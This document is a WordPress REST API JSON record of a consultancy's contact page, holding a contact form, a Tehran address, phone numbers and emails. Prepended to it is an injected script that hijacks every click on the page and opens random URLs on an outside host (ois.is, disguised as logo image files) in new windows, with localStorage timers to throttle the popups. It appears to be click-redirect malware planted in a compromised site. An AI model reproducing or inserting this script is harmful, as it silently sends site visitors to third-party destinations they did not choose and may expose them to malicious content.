<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":64,"date":"2017-06-25T11:57:36","date_gmt":"2017-06-25T07:27:36","guid":{"rendered":"http:\/\/khanichap.ir\/en\/?page_id=64"},"modified":"2017-08-20T16:38:00","modified_gmt":"2017-08-20T12:08:00","slug":"contact-us","status":"publish","type":"page","link":"http:\/\/saeed-moshaver.com\/en\/contact-us\/","title":{"rendered":"contact us"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row][vc_column width=&#8221;1\/3&#8243;]<div role=\"form\" class=\"wpcf7\" id=\"wpcf7-f4-o1\" lang=\"fa-IR\" dir=\"rtl\">\n<div class=\"screen-reader-response\"><\/div>\n<form action=\"\/en\/wp-json\/wp\/v2\/pages\/64#wpcf7-f4-o1\" method=\"post\" class=\"wpcf7-form\" novalidate=\"novalidate\">\n<div style=\"display: none;\">\n<input type=\"hidden\" name=\"_wpcf7\" value=\"4\" \/>\n<input type=\"hidden\" name=\"_wpcf7_version\" value=\"4.8\" \/>\n<input type=\"hidden\" name=\"_wpcf7_locale\" value=\"fa_IR\" \/>\n<input type=\"hidden\" name=\"_wpcf7_unit_tag\" value=\"wpcf7-f4-o1\" \/>\n<input type=\"hidden\" name=\"_wpcf7_container_post\" value=\"0\" \/>\n<input type=\"hidden\" name=\"_wpcf7_nonce\" value=\"5095d2832f\" \/>\n<\/div>\n<p><label> Your Name (Required)<br \/>\n    <span class=\"wpcf7-form-control-wrap your-name\"><input type=\"text\" name=\"your-name\" value=\"\" size=\"40\" class=\"wpcf7-form-control wpcf7-text wpcf7-validates-as-required\" aria-required=\"true\" aria-invalid=\"false\" \/><\/span> <\/label><\/p>\n<p><label>Email (required)<br \/>\n    <span class=\"wpcf7-form-control-wrap your-email\"><input type=\"email\" name=\"your-email\" value=\"\" size=\"40\" class=\"wpcf7-form-control wpcf7-text wpcf7-email wpcf7-validates-as-required wpcf7-validates-as-email\" aria-required=\"true\" aria-invalid=\"false\" \/><\/span> <\/label><\/p>\n<p><label> Subject<br \/>\n    <span class=\"wpcf7-form-control-wrap your-subject\"><input type=\"text\" name=\"your-subject\" value=\"\" size=\"40\" class=\"wpcf7-form-control wpcf7-text\" aria-invalid=\"false\" \/><\/span> <\/label><\/p>\n<p><label> Message<br \/>\n    <span class=\"wpcf7-form-control-wrap your-message\"><textarea name=\"your-message\" cols=\"40\" rows=\"10\" class=\"wpcf7-form-control wpcf7-textarea\" aria-invalid=\"false\"><\/textarea><\/span> <\/label><\/p>\n<p><input type=\"submit\" value=\"Submit\" class=\"wpcf7-form-control wpcf7-submit\" \/><\/p>\n<div class=\"wpcf7-response-output wpcf7-display-none\"><\/div><\/form><\/div>[\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3><span id=\"result_box\" class=\"short_text\" lang=\"en\">Address<\/span><\/h3>\n<ul class=\"uk-list\">\n<li class=\"street\">\n<div id=\"gt-res-content\">\n<div id=\"gt-res-dir-ctr\" class=\"trans-verified-button-small\" dir=\"ltr\"><span id=\"result_box\" class=\"\" lang=\"en\">Tehran, Sa&#8217;adat Abad, not reaching Kaj Square, Shahid Moghaddas St., 3rd Floor, 5th Floor, Unit 504<\/span><\/div>\n<\/div>\n<\/li>\n<\/ul>\n<p>[\/vc_column_text][vc_custom_heading text=&#8221;Contacts&#8221;]<div class=\"aio-icon-component    style_1\"><div id=\"Info-box-wrap-5177\" class=\"aio-icon-box default-icon\" style=\"\"  ><div class=\"aio-icon-default\"><div class=\"ult-just-icon-wrapper  \"><div class=\"align-icon\" style=\"text-align:center;\">\n<div class=\"aio-icon square \"  style=\"color:#333;background:#ffffff;font-size:32px;display:inline-block;\">\n\t<i class=\"Defaults-phone\"><\/i>\n<\/div><\/div><\/div><\/div><div class=\"aio-icon-header\" ><h3 class=\"aio-icon-title ult-responsive\"  data-ultimate-target='#Info-box-wrap-5177 .aio-icon-title'  data-responsive-json-new='{\"font-size\":\"\",\"line-height\":\"\"}'  style=\"\">02122383816 <\/h3><\/div> <!-- header --><\/div> <!-- aio-icon-box --><\/div> <!-- aio-icon-component --><div class=\"aio-icon-component    style_1\"><div id=\"Info-box-wrap-1886\" class=\"aio-icon-box default-icon\" style=\"\"  ><div class=\"aio-icon-default\"><div class=\"ult-just-icon-wrapper  \"><div class=\"align-icon\" style=\"text-align:center;\">\n<div class=\"aio-icon square \"  style=\"color:#333;background:#ffffff;font-size:32px;display:inline-block;\">\n\t<i class=\"Defaults-fax\"><\/i>\n<\/div><\/div><\/div><\/div><div class=\"aio-icon-header\" ><h3 class=\"aio-icon-title ult-responsive\"  data-ultimate-target='#Info-box-wrap-1886 .aio-icon-title'  data-responsive-json-new='{\"font-size\":\"\",\"line-height\":\"\"}'  style=\"\"> 021 22383916<\/h3><\/div> <!-- header --><\/div> <!-- aio-icon-box --><\/div> <!-- aio-icon-component --><div class=\"aio-icon-component    style_1\"><div id=\"Info-box-wrap-1206\" class=\"aio-icon-box default-icon\" style=\"\"  ><div class=\"aio-icon-default\"><div class=\"ult-just-icon-wrapper  \"><div class=\"align-icon\" style=\"text-align:center;\">\n<div class=\"aio-icon square \"  style=\"color:#333;background:#ffffff;font-size:32px;display:inline-block;\">\n\t<i class=\"Defaults-mobile mobile-phone\"><\/i>\n<\/div><\/div><\/div><\/div><div class=\"aio-icon-header\" ><h3 class=\"aio-icon-title ult-responsive\"  data-ultimate-target='#Info-box-wrap-1206 .aio-icon-title'  data-responsive-json-new='{\"font-size\":\"\",\"line-height\":\"\"}'  style=\"\">09122757312<\/h3><\/div> <!-- header --><\/div> <!-- aio-icon-box --><\/div> <!-- aio-icon-component --><div class=\"aio-icon-component    style_1\"><div id=\"Info-box-wrap-6959\" class=\"aio-icon-box default-icon\" style=\"\"  ><div class=\"aio-icon-default\"><div class=\"ult-just-icon-wrapper  \"><div class=\"align-icon\" style=\"text-align:center;\">\n<div class=\"aio-icon square \"  style=\"color:#333;background:#ffffff;font-size:32px;display:inline-block;\">\n\t<i class=\"Defaults-envelope-o\"><\/i>\n<\/div><\/div><\/div><\/div><div class=\"aio-icon-header\" ><h3 class=\"aio-icon-title ult-responsive\"  data-ultimate-target='#Info-box-wrap-6959 .aio-icon-title'  data-responsive-json-new='{\"font-size\":\"\",\"line-height\":\"\"}'  style=\"\">info@moshaver.de <\/h3><\/div> <!-- header --><\/div> <!-- aio-icon-box --><\/div> <!-- aio-icon-component --><div class=\"aio-icon-component    style_1\"><div id=\"Info-box-wrap-5113\" class=\"aio-icon-box default-icon\" style=\"\"  ><div class=\"aio-icon-default\"><div class=\"ult-just-icon-wrapper  \"><div class=\"align-icon\" style=\"text-align:center;\">\n<div class=\"aio-icon square \"  style=\"color:#333;background:#ffffff;font-size:32px;display:inline-block;\">\n\t<i class=\"Defaults-envelope-o\"><\/i>\n<\/div><\/div><\/div><\/div><div class=\"aio-icon-header\" ><h3 class=\"aio-icon-title ult-responsive\"  data-ultimate-target='#Info-box-wrap-5113 .aio-icon-title'  data-responsive-json-new='{\"font-size\":\"\",\"line-height\":\"\"}'  style=\"\"> office-moshaver@yahoo.com <\/h3><\/div> <!-- header --><\/div> <!-- aio-icon-box --><\/div> <!-- aio-icon-component -->[\/vc_column][\/vc_row][vc_row][vc_column][vc_gmaps link=&#8221;#E-8_JTNDaWZyYW1lJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZ3d3cuZ29vZ2xlLmNvbSUyRm1hcHMlMkZlbWJlZCUzRnBiJTNEJTIxMW0xOCUyMTFtMTIlMjExbTMlMjExZDE2MTguMzg2NzIxNzMxNzk0NSUyMTJkNTEuMzc2MDgzMzQxOTk0NTglMjEzZDM1Ljc4MDk0MTE3MTAwODY1JTIxMm0zJTIxMWYwJTIxMmYwJTIxM2YwJTIxM20yJTIxMWkxMDI0JTIxMmk3NjglMjE0ZjEzLjElMjEzbTMlMjExbTIlMjExczB4MCUyNTNBMHgwJTIxMnpNelhDc0RRMkp6VXhMalFpVGlBMU1jS3dNakluTXpBdU1DSkYlMjE1ZTAlMjEzbTIlMjExc2ZhJTIxMnMlMjE0djE0OTgzNzg5MDQzODklMjIlMjB3aWR0aCUzRCUyMjYwMCUyMiUyMGhlaWdodCUzRCUyMjQ1MCUyMiUyMGZyYW1lYm9yZGVyJTNEJTIyMCUyMiUyMHN0eWxlJTNEJTIyYm9yZGVyJTNBMCUyMiUyMGFsbG93ZnVsbHNjcmVlbiUzRSUzQyUyRmlmcmFtZSUzRQ==&#8221;][\/vc_column][\/vc_row]<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column width=&#8221;1\/3&#8243;][\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text] Address Tehran, Sa&#8217;adat Abad, not reaching Kaj Square, Shahid Moghaddas St., 3rd Floor, 5th Floor, Unit 504 [\/vc_column_text][vc_custom_heading text=&#8221;Contacts&#8221;][\/vc_column][\/vc_row][vc_row][vc_column][vc_gmaps link=&#8221;#E-8_JTNDaWZyYW1lJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZ3d3cuZ29vZ2xlLmNvbSUyRm1hcHMlMkZlbWJlZCUzRnBiJTNEJTIxMW0xOCUyMTFtMTIlMjExbTMlMjExZDE2MTguMzg2NzIxNzMxNzk0NSUyMTJkNTEuMzc2MDgzMzQxOTk0NTglMjEzZDM1Ljc4MDk0MTE3MTAwODY1JTIxMm0zJTIxMWYwJTIxMmYwJTIxM2YwJTIxM20yJTIxMWkxMDI0JTIxMmk3NjglMjE0ZjEzLjElMjEzbTMlMjExbTIlMjExczB4MCUyNTNBMHgwJTIxMnpNelhDc0RRMkp6VXhMalFpVGlBMU1jS3dNakluTXpBdU1DSkYlMjE1ZTAlMjEzbTIlMjExc2ZhJTIxMnMlMjE0djE0OTgzNzg5MDQzODklMjIlMjB3aWR0aCUzRCUyMjYwMCUyMiUyMGhlaWdodCUzRCUyMjQ1MCUyMiUyMGZyYW1lYm9yZGVyJTNEJTIyMCUyMiUyMHN0eWxlJTNEJTIyYm9yZGVyJTNBMCUyMiUyMGFsbG93ZnVsbHNjcmVlbiUzRSUzQyUyRmlmcmFtZSUzRQ==&#8221;][\/vc_column][\/vc_row]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/64"}],"collection":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/comments?post=64"}],"version-history":[{"count":12,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/64\/revisions"}],"predecessor-version":[{"id":399,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/64\/revisions\/399"}],"wp:attachment":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/media?parent=64"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}